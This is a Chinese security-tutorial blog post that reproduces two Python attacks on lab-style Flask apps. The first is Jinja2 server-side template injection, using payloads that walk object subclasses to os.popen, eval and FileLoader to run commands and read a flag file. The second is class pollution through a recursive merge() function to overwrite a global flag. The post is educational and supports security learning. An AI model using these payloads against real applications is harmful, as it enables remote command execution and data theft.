前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【网络安全】「漏洞复现」(六)探索 Python 中原型链的利用与污染

【网络安全】「漏洞复现」(六)探索 Python 中原型链的利用与污染

原创
作者头像
sidiot
发布2024-07-14 15:56:43
1300
发布2024-07-14 15:56:43
举报
文章被收录于专栏:技术大杂烩技术大杂烩

前言

本篇博文是《从0到1学习安全测试》中漏洞复现系列的第篇博文,主要内容是通过具体案例的分析,探讨 Python 中出现的原型链利用和污染所涉及的安全问题,往期系列文章请访问博主的 安全测试 专栏;

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

原型链的利用

现在有这么一个 Flask 程序,会把用户的输入渲染到对话框中,如下图所示:

我们的目的是通过这个输入框,获取到同级目录下的 flag.txt 文件的内容,目录结构如下所示:

代码语言:javascript
复制
├──app.py
├──flag
├──requirements.txt
│
├─static
│
├─templates

通过阅读后端代码可以发现,该程序使用了危险函数 render_template_string(),并且在该程序中,render_template_string() 直接渲染用户输入的数据作为模板,并且没有进行适当的转义或清洗,这就可能导致服务器端模板注入(Server-Side Template Injection,SSTI)攻击。

代码语言:javascript
复制
@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('输入', user_input))
        chat_log.append(('输出', result))

    return render_template('index.html', chat_log=chat_log)

在 Flask 中,模板引擎默认是 Jinja2。Jinja2 模板引擎允许在模板中使用变量和表达式,如果这些变量和表达式来自不可信的源,就可能被恶意构造,导致执行非预期的代码。

一路跟进 render_template_string() 的源代码:

代码语言:javascript
复制
[jinja2/environment.py]  from_string()       ->
[jinja2/environment.py]  self.compile()      ->
[jinja2/environment.py]  self._parse()       ->
[jinja2/parser.py]       Parser().parse()

可以发现,render_template_string() 并没有对输入的参数进行转义,而是直接在 Jinja2 模板中进行使用。

这里输入的是 {{5*5}},目的是让 Jinja2 模板能够执行 5*5 的运算。

接下来,我们就利用这一特性,来进行实际操作。


需要注意的是,我们得想好用什么库来读取 flag.txt 文件,这里使用 os.popen 去读取 flag.txt 文件(当然还有其他方式,比如 FileLoader.get_data(),全凭个人喜好),因此我们现在要想办法导入 os 库。

我们可以从基类 object 下手,看一下它的子类集里是否有包含 os 相关的库,object.__subclasses__()

可以发现有两个相关联的库,<class 'os._wrap_close'><class 'os._AddedDllDirectory'>,这里我们就以 os._wrap_close 为例。

通过源码阅读发现,我们可以在 os._wrap_close__init__ 方法中使用 global 来调用 popen() 方法,代码如下所示:

代码语言:javascript
复制
os._wrap_close.__init__.__globals__["popen"]

运行结果:

因此,最终代码如下所示:

代码语言:javascript
复制
classes = {}.__class__.__base__.__subclasses__() # object.__subclasses__()
names = [cls.__name__ for cls in classes]
print(names.index("_wrap_close")) # 134

classes[134].__init__.__globals__["popen"]("type flag").read()

运行结果:


当然还有其他方法,例如使用危险函数 eval()

这里需要了解一个前置知识,通过 eval() 这个函数可以导入 Python 库,比如导入上文我们要使用的 os 库,代码如下所示:

代码语言:javascript
复制
eval('__import__("os")')

运行结果:

其他过程相似,主要就是整个原型链利用的过程,代码如下所示:

代码语言:javascript
复制
{}.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')

运行结果:

又或者使用 FileLoader.get_data() 方法来读取文件,代码如下所示:

代码语言:javascript
复制
{}.__class__.__base__.__subclasses__()[100].__dict__['get_data'](0, 'flag')

运行结果:

方法很多,剩下的请自行探索...

原型链的污染

现在有这么一个 Flask 程序,它是一个简易的博客网站,如下图所示:

我们的目的是通过 /get_flag 接口获取到 treasure,要实现这一目的,只需使得 flag 的值为 true 即可,代码如下所示:

flag 则是要从环境变量中获取,代码如下所示:

代码语言:javascript
复制
flag = os.getenv("flag")

按照正常的逻辑,我们是无法去修改环境变量里的值,因此,我们要另寻出路。

看到导入的方法里有 merge() 函数,点进去一看,果然是熟悉的味道,详见 浅谈Python原型链污染及利用方式,代码如下所示:

代码语言:javascript
复制
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

再看到使用 merge() 函数的地方,代码如下所示:

代码语言:javascript
复制
@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

class Feedback:
    def __init__(self):
        self.title = ""
        self.content = ""
        self.rating = ""
        self.referred = ""

恰好符合我们利用的条件,可以通过 Feedback 来获取到全局变量,从而实现污染 flag = "true"

先尝试随便创建一个 Feedback,如下图所示:

现在我们去 /get_flag 返回的是 Nope,如下图所示:

将刚刚创建 Feedback 的接口进行重放,同时污染 flag 变量,如下图所示:

现在再去访问 /get_flag 接口,成功拿到了我们想要的 treasure,如下图所示:

后记

在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。

以上就是博文 探索 Python 中原型链的利用与污染 的所有内容了,希望本篇博文对大家有所帮助!欢迎大家持续关注我的博客,一起分享学习和成长的乐趣!✨

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 原型链的利用
  • 原型链的污染
  • 后记
相关产品与服务
手游安全测试
手游安全测试(Security Radar,SR)为企业提供私密的安全测试服务,通过主动挖掘游戏业务安全漏洞(如钻石盗刷、服务器宕机、无敌秒杀等40多种漏洞),提前暴露游戏潜在安全风险,提供解决方案及时修复,最大程度降低事后外挂危害与外挂打击成本。该服务为腾讯游戏开放的手游安全漏洞挖掘技术,杜绝游戏外挂损失。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档